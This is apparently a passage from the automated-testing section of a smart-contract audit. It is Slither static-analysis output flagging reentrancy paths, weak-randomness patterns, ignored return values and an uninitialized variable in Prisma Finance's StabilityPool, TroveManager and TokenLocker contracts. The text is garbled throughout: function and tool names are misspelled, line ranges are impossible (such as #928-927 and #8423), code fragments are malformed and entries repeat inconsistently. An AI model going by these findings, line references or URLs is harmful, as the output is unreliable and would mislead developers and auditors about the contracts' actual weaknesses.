- accountDeposits[uint256][address] = accountDeposits[uint256][newDeposit].depositTimestamp (contracts/core/StabilityPool.sol#330-333)
StabilityPool.claimReward(address) (contracts/core/StabilityPool.sol#337) can be used in cross function reentrances:
- StabilityPool._claimReward(address) (contracts/core/StabilityPool.sol#938-967)
- StabilityPool._claimReward(address) (contracts/core/StabilityPool.sol#736-741)
- StabilityPool._claimableRewards() (contracts/core/StabilityPool.sol#145)
- StabilityPool._claimableRewards(address) (contracts/core/StabilityPool.sol#686-728)
- StabilityPool.getCompoundDepotDeposits(address) (contracts/core/StabilityPool.sol#776-791)
- StabilityPool.getDebtTokenDeposits(address) (contracts/core/StabilityPool.sol#607-639)
- StabilityPool.getDebtTokenDeposits() (contracts/core/StabilityPool.sol#262-287)
- StabilityPool.withdrawFromPool(uint256) (contracts/core/StabilityPool.sol#299-337)
- _updateDebtTokenDeposits(depositor) (contracts/core/StabilityPool.sol#877)
  - delete depositSnapshots(depositor) (contracts/core/StabilityPool.sol#877)
    - depositSnapshots[depositor].P = current (contracts/core/StabilityPool.sol#899)
  - depositSnapshots[depositor].G = current (contracts/core/StabilityPool.sol#899)
    - depositSnapshots[depositor].G = current (contracts/core/StabilityPool.sol#899)
  - depositSnapshots[depositor].epoch = currentEpochCached (contracts/core/StabilityPool.sol#902)
StabilityPool.updateDebtDeposits (contracts/core/StabilityPool.sol#4) can be used in cross function reentrances:
- StabilityPool._updateDebtDeposits(depositor) (contracts/core/StabilityPool.sol#641-678)
- StabilityPool._claimableRewards(address) (contracts/core/StabilityPool.sol#736-741)
- StabilityPool._updateSnapshots(address, uint256) (contracts/core/StabilityPool.sol#874-918)
- StabilityPool._claimableRewards(address) (contracts/core/StabilityPool.sol#686-728)
- StabilityPool._updateDebtDeposits(depositor) (contracts/core/StabilityPool.sol#776-791)
- StabilityPool._getDebtTokenDeposits(address) (contracts/core/StabilityPool.sol#607-639)
- _updateDebtTokenDeposits(depositor) (contracts/core/StabilityPool.sol#881)
  - depositSum[depositor][1] = 0 (contracts/core/StabilityPool.sol#881)
  - depositSum[depositor][1] = 0 (contracts/core/StabilityPool.sol#890)
StabilityPool._enableCollateralIERC20 (contracts/core/StabilityPool.sol#596) can be used in cross function reentrances:
- StabilityPool._enableCollateralIERC20(depositor) (contracts/core/StabilityPool.sol#596)
- StabilityPool._decreaseDebt(uint256, address) (contracts/core/StabilityPool.sol#438-475)
- StabilityPool._updateDebtDeposits() (contracts/core/StabilityPool.sol#333-397)
- StabilityPool._claimableRewards(address) (contracts/core/StabilityPool.sol#686-728)
- StabilityPool._updateDebtDeposits(depositor) (contracts/core/StabilityPool.sol#248-250)
- StabilityPool._provideDepot(uint256) (contracts/core/StabilityPool.sol#262-287)
Reference: https://github.com/cryptic/slither/wikit/Detector--Documentation#reentrancy-vulnerabilities-1
INFO:Detectors:
TroveManager.getWeekEndDay() (contracts/core/TroveManager.sol#426-431) uses a weak PRNG: "day = (duration % 604800) / 86400" (contracts/core/TroveManager.sol#426)
https://github.com/cryptic/slither/wikit/Detector--Documentation#weak-PNG
INFO:Detectors:
StabilityPool.Constructor(Address,IBorrowerOneProxy,IPrismVault,address,address) (contracts/core/StabilityPool.sol#151-166) ignores return value by debtToken.approve(address(debtToken),type()(uint256).max) (contracts/core/StabilityPool.sol#165)
StabilityPool.claimReward(address) (contracts/core/StabilityPool.sol#928-927) ignores return value by vault.transferAllocatedTokens(msg.sender,recipient,amount) (contracts/core/StabilityPool.sol#923)
Reference: https://github.com/cryptic/slither/wikit/Detector--Documentation#unused-return

Reentrancy In: TroveManager.closeTrove(address,address,uint256,uint256) (contracts/core/TroveManager.sol#1303-1320):
External calls:
- _closeTrove(borrower,status,closedByOwner) (contracts/core/TroveManager.sol#1115)
  - sortedTroveCached.remove(borrower) (contracts/core/TroveManager.sol#1308)
  - _sendCollateral(receiver,callAmount) (contracts/core/TroveManager.sol#1117)
    - _collateralToken.safeTransfer(receiver,amount) (contracts/core/TroveManager.sol#1658)
  - (success,returnData) = target.call(value:value)(data) (node_modules/openzeppelin/contracts/utils/Address.sol#135)
  - collateralToken.safeTransfer(receiver,amount) (contracts/core/TroveManager.sol#1658)
- _sendCollateral(receiver,callAmount) (contracts/core/TroveManager.sol#1117)
  - (success,returnData) = target.call(value:value)(data) (node_modules/openzeppelin/contracts/utils/Address.sol#135)
State variables written after the call(s):
- _totalActiveCollateral = 0 (contracts/core/TroveManager.sol#1339)
TroveManager.totalActiveCollateral (contracts/core/TroveManager.sol#110) can be used in cross function reentrances:
- TroveManager._redeemCloseTrove(address,uint256,uint256) (contracts/core/TroveManager.sol#1545-1553)
- TroveManager._redeemCloseTrove(address,uint256,uint256) (contracts/core/TroveManager.sol#1595-1605)
- TroveManager._redistributeDebtAndColl(uint256,uint256) (contracts/core/TroveManager.sol#1597-1641)
- TroveManager._resetState() (contracts/core/TroveManager.sol#1328-1344)
- TroveManager._redeemPendingRewards(address,uint256,uint256) (contracts/core/TroveManager.sol#1645-1651)
- TroveManager._finalizeLiquidation(address,uint256,uint256,uint256,uint256) (contracts/core/TroveManager.sol#1563-1595)
- TroveManager._openTrove(address,uint256,uint256,uint256,uint256,uint256,uint256,uint256,uint256) (contracts/core/TroveManager.sol#1597-1605)
- TroveManager._redeemDebtAndColl(uint256,uint256) (contracts/core/TroveManager.sol#1597-1641)
- TroveManager._resetState() (contracts/core/TroveManager.sol#1328-1344)
- TroveManager._redeemDebtAndColl(uint256,uint256) (contracts/core/TroveManager.sol#1597-1641)
- TroveManager._claimableRewards(address) (contracts/core/TroveManager.sol#106-1101)
- TroveManager._closeTrove(address,uint256,uint256) (contracts/core/TroveManager.sol#1303-1320)
- TroveManager._getDebtSystemTotal() (contracts/core/TroveManager.sol#149-150)
- TroveManager._getTotalCollateral() (contracts/core/TroveManager.sol#149-150)
- TroveManager._openTrove(address,uint256,uint256,uint256,address,bool) (contracts/core/TroveManager.sol#1194-1239)
- TroveManager._updateTroveOnAdjustment(bool,bool,uint256,uint256,uint256,uint256,uint256,uint256,address,address,address) (contracts/core/TroveManager.sol#1241-1381)
- _resetState() (contracts/core/TroveManager.sol#1339)
- _totalDebt = 0 (contracts/core/TroveManager.sol#1340)
TroveManager._totalActiveDebt (contracts/core/TroveManager.sol#119) can be used in cross function reentrances:
- TroveManager._accrueActiveInterest() (contracts/core/TroveManager.sol#106-174)
- TroveManager._redeemPendingRewards(address,uint256) (contracts/core/TroveManager.sol#1429-1471)
- TroveManager._decreaseDebt(address,uint256) (contracts/core/TroveManager.sol#1678-1681)
- TroveManager._increaseDebt(address,uint256) (contracts/core/TroveManager.sol#1654-1666)
- TroveManager._redeemPendingRewards(address,activeValue,uint256,uint256) (contracts/core/TroveManager.sol#1545-1553)
- TroveManager._redeemDebtAndColl(address,uint256,uint256) (contracts/core/TroveManager.sol#1597-1605)
- TroveManager._redeemDebtAndColl(uint256,uint256) (contracts/core/TroveManager.sol#1597-1641)
- TroveManager._resetState() (contracts/core/TroveManager.sol#1328-1344)
- TroveManager._redeemDebtAndColl(uint256,uint256) (contracts/core/TroveManager.sol#1597-1641)
- TroveManager._claimableRewards(address) (contracts/core/TroveManager.sol#106-1101)
- TroveManager._closeTrove(address,uint256,uint256) (contracts/core/TroveManager.sol#1303-1320)
- TroveManager._getDebtSystemTotal() (contracts/core/TroveManager.sol#149-150)
- TroveManager._getTotalCollateral() (contracts/core/TroveManager.sol#149-150)
- TroveManager._openTrove(address,uint256,uint256,uint256,address,bool) (contracts/core/TroveManager.sol#1194-1239)
- TroveManager._redeemCollateral(address,uint256,uint256,uint256,uint256,uint256,uint256,uint256,uint256) (contracts/core/TroveManager.sol#759-901)
- _totalDebt = 0 (contracts/core/TroveManager.sol#1342)
TroveManager._totalStake (contracts/core/TroveManager.sol#95) can be used in cross function reentrances:
- TroveManager._redeemDebtAndColl(address,uint256) (contracts/core/TroveManager.sol#1597-1641)
- TroveManager._redeemDebtAndColl(uint256,uint256) (contracts/core/TroveManager.sol#1597-1640)
- TroveManager._resetState() (contracts/core/TroveManager.sol#1328-1344)
- TroveManager._updateStakeAndTotalStakes() (contracts/core/TroveManager.sol#1563-1595)
- TroveManager._stake(address,uint256,uint256,uint256,uint256,uint256,uint256,uint256,uint256) (contracts/core/TroveManager.sol#1563-1595)
Reentrancy In: TroveManager.redeemCollateral(uint256,address,address,uint256,uint256,uint256,uint256) (contracts/core/TroveManager.sol#759-901):
External calls:
- totals._price = fetchPrice() (contracts/core/TroveManager.sol#889)
  - _priceFeed.fetchPrice(address(collateralToken)) (contracts/core/TroveManager.sol#8423)
- require(bool,string)(borrowerOperationsOperationsData).getTCR() => _HCR_Cannot_redeem when TCR < HCR (contracts/core/TroveManager.sol#782-785)
- _updateDebtAndCollateral(address,uint256,uint256,uint256,uint256,uint256,uint256,uint256,uint256) (contracts/core/TroveManager.sol#1179)
  - amount = vault.allLocateNewEmissions(id,minting) (contracts/core/TroveManager.sol#1169)
  - amount = vault.allLocateNewEmissions(id,minting) (contracts/core/TroveManager.sol#1179)
  - singleRedemption.redeemCollateralFromTrove_sortedTroveCached.currentBorrower,totals,redeemingDebt,totals.price,_upperPartialRedemptionHint,_lowerPartialRedemptionHint,_partialRedemptionHintHCR) (contracts/core/TroveManager.sol#1179)
    - debtToken.burn(gasAddress,debt) (contracts/core/TroveManager.sol#800)
    - _sortedTroveCached.reinsert(borrower,newHCR,_upperPartialRedemptionHint,_lowerPartialRedemptionHint) (contracts/core/TroveManager.sol#965-970)
    - _sendCollateral(redeemer,callAmount) (contracts/core/TroveManager.sol#8422)
      - returnData = address(token).functionCall(data,SafeERC20.sol#10)
      - (success,returnData) = target.call(value:value)(data) (node_modules/openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol#10)
        - vault.allLocateNewEmissions(id,minting) (contracts/core/TroveManager.sol#1169)
        - vault.allLocateNewEmissions(id,minting) (contracts/core/TroveManager.sol#1179)
    - debtToken.burn(msg.sender,totals.totalDebtToRedeem) (contracts/core/TroveManager.sol#896)
External calls sending eth:
- (success,returnData) = target.call(value:value)(data) (node_modules/openzeppelin/contracts/utils/Address.sol#135)
State variables written after the call(s):
- totalActiveDebt = totalActiveDebt - totals.totalDebtToRedeem (contracts/core/TroveManager.sol#889)
TroveManager._movePendingRewardsToActiveBalance(uint256,uint256) (contracts/core/TroveManager.sol#1545-1553) can be used in cross function reentrances:
- TroveManager._accrueActiveInterest() (contracts/core/TroveManager.sol#106-174)
- TroveManager._applyPendingRewards(address) (contracts/core/TroveManager.sol#1429-1471)
- TroveManager._decreaseDebt(address,uint256) (contracts/core/TroveManager.sol#1678-1681)
- TroveManager._increaseDebt(address,uint256) (contracts/core/TroveManager.sol#1654-1666)
- TroveManager._movePendingRewardsToActiveBalance(uint256,uint256) (contracts/core/TroveManager.sol#1545-1553)
- TroveManager._redeemCloseTrove(address,uint256,uint256) (contracts/core/TroveManager.sol#1595-1605)
- TroveManager._resetState() (contracts/core/TroveManager.sol#1328-1344)
- TroveManager._updateBalances() (contracts/core/TroveManager.sol#1598-1603)
- TroveManager._claimableRewards(address) (contracts/core/TroveManager.sol#106-1101)
- TroveManager._closeTrove(address,uint256,uint256) (contracts/core/TroveManager.sol#1303-1320)

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    - TroveManager.getEntireSystemDebt() (contracts/core/TroveManager.sol#507-519)
    - TroveManager.getTotalActiveDebt() (contracts/core/TroveManager.sol#554-576)
    - TroveManager.getTroveAddress(uint256,uint256,uint256,address,address,bool) (contracts/core/TroveManager.sol#1194-1239)
    - TroveManager.redeemCollateral(uint256,address,address,address,uint256,uint256) (contracts/core/TroveManager.sol#759-981)
    Reentrancy guard:
    - totals.price = feePrice() (contracts/core/TroveManager.sol#780)
    - requireBool(string)(borrowerOperations.borrowerOperations(address).getTCR) >= MCR.Cannot redeem when TCR < MCR) (contracts/core/TroveManager.sol#782-785)
    - _updateBalances() (contracts/core/TroveManager.sol#791)
        - amount = vault.allocateNewEmissions(id, minting) (contracts/core/TroveManager.sol#169)
        - amount = vault.allocateNewEmissions(id, debt) (contracts/core/TroveManager.sol#182)
        - amount = vault.allocateNewEmissions(id, minting) (contracts/core/TroveManager.sol#179)
    - _applyPendingRewards(currentBorrower) (contracts/core/TroveManager.sol#832)
        - amount = vault.allocateNewEmissions(id, debt) (contracts/core/TroveManager.sol#182)
        - amount = vault.allocateNewEmissions(id, minting) (contracts/core/TroveManager.sol#179)
    - singleRedemption(redeemCollateralFromTrover, sortedTrovesCached.currentBorrower.totals, lendingDebt.totals, lendingDebt.totals.price, upperPartialRedemptionHnt, lowerPartialRedemptionHnt, partialRedemptionHntNtICR) (contracts/core/TroveManager.sol#933-942)
        - debtTotal.burnedTokenAddress(), debt) (contracts/core/TroveManager.sol#908)
        - sortedTrovesCached.remove(borrower, newICR, upperPartialRedemptionHnt, lowerPartialRedemptionHnt) (contracts/core/TroveManager.sol#965-970)
        - _sortedTrovesCached.remove(borrower) (contracts/core/TroveManager.sol#1308)
    - _sendCollateral(P10MA.coreFeeReceiver(), totals.collateralFee) (contracts/core/TroveManager.sol#882)
        - (success, returnData) = target.call{value:(data)}(node_modules/openzeppelin/contracts/contracts/utils/Address.sol#115)
        - (success, returnData) = target.call{value:(data)}(node_modules/openzeppelin/contracts/contracts/utils/Address.sol#115)
        - (success, returnData) = target.call{value:(data)}(node_modules/openzeppelin/contracts/contracts/utils/Address.sol#115)
    - _sendCollateralInMsg.sender.totals.collateralToSendAndDeducted() (contracts/core/TroveManager.sol#1699)
    - debtToken.transferFrom(borrowerOperations.borrowerOperations(address).getTCR, collateralToken.safeTransferFrom.account, amount) (contracts/core/TroveManager.sol#1650)
    - _sendCollateralInMsg.sender.totals.collateralToSendAndDeducted() (contracts/core/TroveManager.sol#1699)
    - _sendCollateralInMsg.sender.totals.collateralToSendAndDeducted() (contracts/core/TroveManager.sol#1699)
        - (success, returnData) = target.call{value:(data)}(node_modules/openzeppelin/contracts/contracts/token/ERC20/utils/SafeERC20.sol#116)
        - (success, returnData) = target.call{value:(data)}(node_modules/openzeppelin/contracts/contracts/token/ERC20/utils/SafeERC20.sol#116)
        - (success, returnData) = target.call{value:(data)}(node_modules/openzeppelin/contracts/contracts/token/ERC20/utils/SafeERC20.sol#116)
    External calls sending eth:
    - _sendCollateral(P10MA.coreFeeReceiver(), totals.collateralFee) (contracts/core/TroveManager.sol#882)
    - _sendCollateralInMsg.sender.totals.collateralToSendAndDeducted() (contracts/core/TroveManager.sol#1699)
        - (success, returnData) = target.call{value:(data)}(node_modules/openzeppelin/contracts/contracts/utils/Address.sol#115)
        - (success, returnData) = target.call{value:(data)}(node_modules/openzeppelin/contracts/contracts/utils/Address.sol#115)
        - (success, returnData) = target.call{value:(data)}(node_modules/openzeppelin/contracts/contracts/utils/Address.sol#115)
    State variable written after other calls:
    - _resetState() (contracts/core/TroveManager.sol#909)
        - _collateral = 0 (contracts/core/TroveManager.sol#1335)
    TroveManager._collateral (contracts/core/TroveManager.sol#111) can be used in cross function reentrances:
    - TroveManager._collateral = 0 (contracts/core/TroveManager.sol#111)
    - TroveManager._applyPendingRewards(address) (contracts/core/TroveManager.sol#429-471)
    - TroveManager._redeemBorrowedDebtAndColl(uint256,uint256) (contracts/core/TroveManager.sol#1597-1641)
    - TroveManager._resetState() (contracts/core/TroveManager.sol#1328-1344)
    - TroveManager._updatePendingCollateralRewards(address) (contracts/core/TroveManager.sol#1473-1481)
    - TroveManager._updatePendingRewards(address) (contracts/core/TroveManager.sol#579-595)
    - TroveManager._hasPendingRewards(address) (contracts/core/TroveManager.sol#597-606)
    - _resetState() (contracts/core/TroveManager.sol#909)
        - _debt = 0 (contracts/core/TroveManager.sol#1336)
    TroveManager._debt (contracts/core/TroveManager.sol#112) can be used in cross function reentrances:
    - TroveManager._debt = 0 (contracts/core/TroveManager.sol#112)
    - TroveManager._applyPendingRewards(address) (contracts/core/TroveManager.sol#1597-1641)
    - TroveManager._resetState() (contracts/core/TroveManager.sol#1328-1344)
    - TroveManager._updatePendingCollateralRewards(address) (contracts/core/TroveManager.sol#1473-1481)
    - TroveManager._updatePendingRewards(address) (contracts/core/TroveManager.sol#579-595)
    - _resetState() (contracts/core/TroveManager.sol#909)
        - activeInterestIndex < INTEREST_PRECISION (contracts/core/TroveManager.sol#1336)
    TroveManager.activeInterestIndex < INTEREST_PRECISION (contracts/core/TroveManager.sol#1336)
    TroveManager._defaultedDebt (contracts/core/TroveManager.sol#1341) can be used in cross function reentrances:
    - TroveManager._defaultedDebt = 0 (contracts/core/TroveManager.sol#1341)
    - TroveManager._movePendingRewardsToActiveBalance(uint256,uint256) (contracts/core/TroveManager.sol#1545-1553)
    - TroveManager._redeistributeDebtAndColl(uint256,uint256) (contracts/core/TroveManager.sol#1597-1641)
    - TroveManager._resetState() (contracts/core/TroveManager.sol#1328-1344)
    - TroveManager._totalActiveCollateral() (contracts/core/TroveManager.sol#1270-1284)
    - TroveManager._finalizeLiquidation(address,uint256,uint256,uint256,uint256,uint256) (contracts/core/TroveManager.sol#1563-1595)
    - _resetState() (contracts/core/TroveManager.sol#909)
        - _defaultedDebt = 0 (contracts/core/TroveManager.sol#1341)
    TroveManager._defaultedDebt (contracts/core/TroveManager.sol#1341) can be used in cross function reentrances:
    - TroveManager._defaultedDebt = 0 (contracts/core/TroveManager.sol#1341)
    - TroveManager._movePendingRewardsToActiveBalance(uint256,uint256) (contracts/core/TroveManager.sol#1545-1553)
    - TroveManager._redeistributeDebtAndColl(uint256,uint256) (contracts/core/TroveManager.sol#1597-1641)
    - TroveManager._resetState() (contracts/core/TroveManager.sol#1328-1344)
    - TroveManager._totalActiveCollateral() (contracts/core/TroveManager.sol#1270-1284)
    - TroveManager._setAddresses(address,address,address) (contracts/core/TroveManager.sol#270-284)
    - _sendParameters(uint256,uint256,uint256,uint256,uint256,uint256,uint256,uint256,uint256) (Contracts/core/TroveManager.sol#353-407)
    - TroveManager._startStun() (contracts/core/TroveManager.sol#356)
    - TroveManager._openTrove(address,uint256,uint256,address,address,bool) (contracts/core/TroveManager.sol#1194-1239)
        - _lastActiveIndexUpdate = block.timestamp (contracts/core/TroveManager.sol#1331)
    TroveManager.lastActiveIndexUpdate (contracts/core/TroveManager.sol#84) can be used in cross function reentrances:
    - TroveManager.lastActiveIndexUpdate (contracts/core/TroveManager.sol#84)
    - TroveManager._calculateInterestIndex() (contracts/core/TroveManager.sol#1716-1742)
    - TroveManager._resetState() (contracts/core/TroveManager.sol#1328-1344)
    - TroveManager._setAddresses(address,address,address) (contracts/core/TroveManager.sol#270-284)
    - TroveManager._setParameters(uint256,uint256,uint256,uint256,uint256,uint256,uint256,uint256,uint256) (Contracts/core/TroveManager.sol#353-407)
    - _sendParameters(uint256,uint256,uint256,uint256,uint256,uint256,uint256,uint256,uint256) (Contracts/core/TroveManager.sol#353-407)
        - _totalActiveCollateral = _totalActiveCollateral - amount (contracts/core/TroveManager.sol#1647)
    TroveManager._totalActiveCollateral (contracts/core/TroveManager.sol#118) can be used in cross function reentrances:
    - TroveManager._totalActiveCollateral (contracts/core/TroveManager.sol#118)
    - TroveManager._redeemClosestTroveAddress(address,uint256,uint256) (contracts/core/TroveManager.sol#1545-1553)
    - TroveManager._redeemClosestTroveAddress(address,uint256,uint256) (Contracts/core/TroveManager.sol#1597-1641)
    - TroveManager._resetState() (contracts/core/TroveManager.sol#1328-1344)
    - TroveManager._redeemClosestTroveAddress(address,uint256,uint256,uint256,uint256,uint256) (contracts/core/TroveManager.sol#1563-1595)
    - TroveManager._finalizeLiquidation(address,uint256,uint256,uint256,uint256,uint256) (contracts/core/TroveManager.sol#1563-1595)
    - TroveManager._getTroveSystemColt() (contracts/core/TroveManager.sol#505-562)
    - TroveManager._getTroveAddress(address,uint256,uint256,uint256,address,bool) (Contracts/core/TroveManager.sol#1194-1239)
    - TroveManager._updateTroveForPendingJustification(bool,bool,uint256,uint256,uint256,uint256,address,address,address) (Contracts/core/TroveManager.sol#1241-1301)
    - _resetState() (contracts/core/TroveManager.sol#909)
        - _totalActiveDebt = 0 (Contracts/core/TroveManager.sol#1340)
    TroveManager._totalActiveCollateral (contracts/core/TroveManager.sol#118) can be used in cross function reentrances:
    - TroveManager._totalActiveCollateral (contracts/core/TroveManager.sol#118)
    - TroveManager._movePendingRewardsToActiveBalance(uint256,uint256) (contracts/core/TroveManager.sol#1545-1553)
    - TroveManager._redeemClosestTroveAddress(address,uint256,uint256) (Contracts/core/TroveManager.sol#1597-1641)
    - TroveManager._resetState() (contracts/core/TroveManager.sol#1328-1344)
    - TroveManager._sendCollateral(address,uint256) (Contracts/core/TroveManager.sol#1645-1652)
    - TroveManager._finalizeLiquidation(address,uint256,uint256,uint256,uint256,uint256) (contracts/core/TroveManager.sol#1563-1595)
    - TroveManager._getTroveSystemColt() (contracts/core/TroveManager.sol#505-562)
    - TroveManager._getTroveAddress(address,uint256,uint256,uint256,address,bool) (Contracts/core/TroveManager.sol#1194-1239)
    - TroveManager._updateTroveForPendingJustification(bool,bool,uint256,uint256,uint256,uint256,address,address,address) (Contracts/core/TroveManager.sol#1241-1301)
    - _resetState() (contracts/core/TroveManager.sol#909)
        - _totalActiveDebt = 0 (Contracts/core/TroveManager.sol#1340)
    TroveManager._totalActiveDebt (Contracts/core/TroveManager.sol#118) can be used in cross function reentrances:
    - TroveManager._totalActiveDebt (Contracts/core/TroveManager.sol#118)
    - TroveManager._accrueActiveInterest() (Contracts/core/TroveManager.sol#1706-1714)
    - TroveManager._applyPendingRewards(address) (Contracts/core/TroveManager.sol#429-471)
    - TroveManager._redeemClosestTroveAddress(address,uint256,uint256) (Contracts/core/TroveManager.sol#1545-1666)
    - TroveManager._movePendingRewardsToActiveBalance(uint256,uint256) (contracts/core/TroveManager.sol#1545-1553)
    - TroveManager._redeemClosestTroveAddress(address,uint256,uint256) (Contracts/core/TroveManager.sol#1597-1641)
    - TroveManager._resetState() (Contracts/core/TroveManager.sol#1328-1344)
    - TroveManager._totalCollateralSnapshot (Contracts/core/TroveManager.sol#1501-1505)
    - TroveManager._getTotalActiveCollateral() (Contracts/core/TroveManager.sol#560-562)
    - TroveManager._openTrove(address,uint256,uint256,address,address,bool) (Contracts/core/TroveManager.sol#1194-1239)
    - TroveManager._updateTroveForPendingJustification(bool,bool,uint256,uint256,uint256,uint256,address,address,address) (Contracts/core/TroveManager.sol#1241-1301)
    - _resetState() (Contracts/core/TroveManager.sol#909)
        - _totalActiveDebt = 0 (Contracts/core/TroveManager.sol#1340)
    TroveManager._totalStakeSnapshot (Contracts/core/TroveManager.sol#1343) can be used in cross function reentrances:
    - TroveManager._totalStakeSnapshot (Contracts/core/TroveManager.sol#1343)
    - TroveManager._computePwTake(uint256) (Contracts/core/TroveManager.sol#1505-1524)
    - TroveManager._redeemStake(address) (Contracts/core/TroveManager.sol#1597-1648)
    - TroveManager._removeStake(address) (Contracts/core/TroveManager.sol#1597-1648)
    - TroveManager._updateStakeAndTotalStakes(Trove) (Contracts/core/TroveManager.sol#1491-1502)
    - TroveManager._finalizeLiquidation(address,uint256,uint256,uint256,uint256,uint256) (Contracts/core/TroveManager.sol#1563-1595)
    - TroveManager._redeemCollateral(address,uint256,uint256,uint256,uint256,uint256) (Contracts/core/TroveManager.sol#1759-901)
    - _resetState() (Contracts/core/TroveManager.sol#909)
        - _totalStakeSnapshot = 0 (Contracts/core/TroveManager.sol#98)
    TroveManager._totalStakeSnapshot (Contracts/core/TroveManager.sol#98) can be used in cross function reentrances:

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AUTOMATED TESTING

• PrismaToken.sol

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INFO:Dector:
ByteLib.concatStorage(bytes, bytes) (node_modules/@layerzerolabs/solidity-examples/contracts/libraries/ByteLib.sol#86-217) performs a multiplication on the result of a division:
- store(untz256,_prebytes,fslot.concatStorage_asn_0 + load(untz256,_postbytes + 0x20)) / ext(0x00 ** 32 - newlength_concatStorage_asn_0 * mlength_concatStorage_asn_0)
tstorage_asn_0 = 2 (node_modules/@layerzerolabs/solidity-examples/contracts/libraries/ByteLib.sol#10-138)
ByteLib.concatStorage(bytes, bytes) (node_modules/@layerzerolabs/solidity-examples/contracts/libraries/ByteLib.sol#86-217) performs a multiplication on the result of a division:
- store(untz256,_asn_0,load(untz256,_mc.concatStorage_asn_0) * mask.concatStorage_asn_0) / mask.concatStorage_asn_0
rables[ByteLib.sol#175]
ByteLib.concatStorage(bytes, bytes) (node_modules/@layerzerolabs/solidity-examples/contracts/libraries/ByteLib.sol#86-217) performs a multiplication on the result of a division:
- store(untz256,untz256)(sc.concatStorage_asn_0,load(untz256,_mc.concatStorage_asn_0) / mask.concatStorage_asn_0 * mask.concatStorage_asn_0)
rables[ByteLib.sol#289]
ByteLib.equalsStorageBy(bytes, bytes) (node_modules/@layerzerolabs/solidity-examples/contracts/libraries/ByteLib.sol#421-460) performs a multiplication on the result of a division:
- ext(0x00 ** 32 - fild.equalsStorageBy(asn_0,asn_1) * ext(0x00 ** 32 - fild.equalsStorageBy(asn_0,asn_1)))
Reference: https://github.com/crytic/slither/wikit/detector--Documentation#division-by-nullify
INFO:Dector:
DaiCore.estimateSendReq(uint256,bytes,uint256,bytes) (node_modules/@layerzerolabs/solidity-examples/contracts/token/0x1/0/FTCore.sol#25-35) ignores return value by IzEndpoint.estimateFees_dstChainId,address(this).pnode._useParams (node_modules/@layerzerolabs/solidity-examples/contracts/token/0x1/0/FTCore.sol#34)
Reference: https://github.com/crytic/slither/wikit/detector--Documentation#unused-return

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• TokenLocker.sol

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INFO:Dector:
TokenLocker.getAccumulativeLocks(address,uint256) (contracts/dao/TokenLocker.sol#249-294) uses a weak PRNG: "currentWeek % 256 == 0 (contracts/dao/TokenLocker.sol#274)"
TokenLocker.getAccumulativeLocks(address,uint256) (contracts/dao/TokenLocker.sol#249-294) uses a weak PRNG: "accountData.updateWeeks[currentWeek % 256] >> (currentWeek % 256)" (contracts/dao/TokenLocker.sol#205-205)
TokenLocker.getWithdrawalPenalty(address,uint256) (contracts/dao/TokenLocker.sol#305-381) uses a weak PRNG: "dust = ((penaltyAmount + remaining) / lockToTokenRatio)" (contracts/dao/TokenLocker.sol#362-363)
TokenLocker._lockAddress(uint256,uint256) (contracts/dao/TokenLocker.sol#479-511) uses a weak PRNG: "bitfield = <countData.updateWeeks[idx] % (uint256(1) << (unlockWeek % 256))" (contracts/dao/TokenLocker.sol#56-587)
TokenLocker._lockAddress(uint256,uint256) (contracts/dao/TokenLocker.sol#479-511) uses a weak PRNG: "weeks = 1 && block.timestamp % 604800 > 35600" (contracts/dao/TokenLocker.sol#421-460)
TokenLocker._lockAddress(uint256,uint256) (contracts/dao/TokenLocker.sol#511-584) uses a weak PRNG: "bitfield_scope = <countData.updateWeeks[idx].scope_0 % (uint256(1) << (changedWeek % 256))" (contracts/dao/TokenLocker.sol#572-573)
TokenLocker._lockMany(address,TokenLocker.LockData[]) (contracts/dao/TokenLocker.sol#593-603) uses a weak PRNG: "bitfield = accountData.updateWeeks[idx] & (unlockWeek % 256)" (contracts/dao/TokenLocker.er#420-504)
TokenLocker._lockMany(address,TokenLocker.LockData[]) (contracts/dao/TokenLocker.sol#593-603) uses a weak PRNG: "bitfield[idx] = (bitfield[idx] & (unlockWeek % 256)) << (changedWeek % 256)" (contracts/dao/TokenLocker.sol#35-617)
TokenLocker._lockMany(address,TokenLocker.LockData[]) (contracts/dao/TokenLocker.sol#593-603) uses a weak PRNG: "block.timestamp % 604800 > 345600" (contracts/dao/TokenLocker.sol#623)
TokenLocker._extendMany(address,TokenLocker.LockData[]) (contracts/dao/TokenLocker.sol#607-614) uses a weak PRNG: "bitfield[idx] = bitfield[idx] & ~((lock256(1) << (oldWeeks % 256))) (contracts/dao/TokenLocker.sol#7-712)
TokenLocker._extendMany(TokenLocker.LockData[]) (contracts/dao/TokenLocker.sol#607-614) uses a weak PRNG: "bitfield[idx_scope_0] = bitfield[idx_scope_0] & (unlockWeek % 256)" (contracts/dao/TokenLocker.sol#775-776)
TokenLocker._freeze() (contracts/dao/TokenLocker.sol#750-759) uses a weak PRNG: "systemWeek % 256 == 0 (contracts/dao/TokenLocker.sol#779)"
TokenLocker._unfreeze(bool) (contracts/dao/TokenLocker.sol#750-759) uses a weak PRNG: "systemWeek % 256 == 0 (contracts/dao/TokenLocker.sol#830-836)" (contracts/dao/TokenLocker.sol#830-836)
TokenLocker.withdrawWithPenalty(address,uint256) (contracts/dao/TokenLocker.sol#889-898) uses a weak PRNG: "remaining = lockToken.transfer(mg.sender,amount);if(remaining <= 0){lockToken.transfer(mg.sender,amount);return;}" (contracts/dao/TokenLocker.sol#889)
TokenLocker.withdrawWithPenalty(address,uint256) (contracts/dao/TokenLocker.sol#889-898) uses a weak PRNG: "lockToken.transfer(prisnaCore.receiver(),penaltyTotal)" (contracts/dao/TokenLocker.sol#994)
Reference: https://github.com/crytic/slither/wikit/detector--Documentation#weak-prng
INFO:Dector:
TokenLocker._accountWeeklyLocks(address) (contracts/dao/TokenLocker.sol#808) is never initialized. It is used in:
- TokenLocker.getBalance(address) (contracts/dao/TokenLocker.sol#159-194)
- TokenLocker.getAccumulativeLocks(address,uint256) (contracts/dao/TokenLocker.sol#200-251)
- TokenLocker.getWithdrawalPenalty(address,uint256) (contracts/dao/TokenLocker.sol#260-294)
- TokenLocker.getWithdrawalPenalty(address,uint256) (contracts/dao/TokenLocker.sol#305-381)
- TokenLocker._lockAddress(uint256,uint256) (contracts/dao/TokenLocker.sol#479-519)
- TokenLocker._lockMany(address,TokenLocker.LockData[]) (contracts/dao/TokenLocker.sol#593-603)
- TokenLocker._lockMany(address,TokenLocker.LockData[]) (contracts/dao/TokenLocker.sol#593-663)
- TokenLocker._extendMany(TokenLocker.LockData[]) (contracts/dao/TokenLocker.sol#607-741)
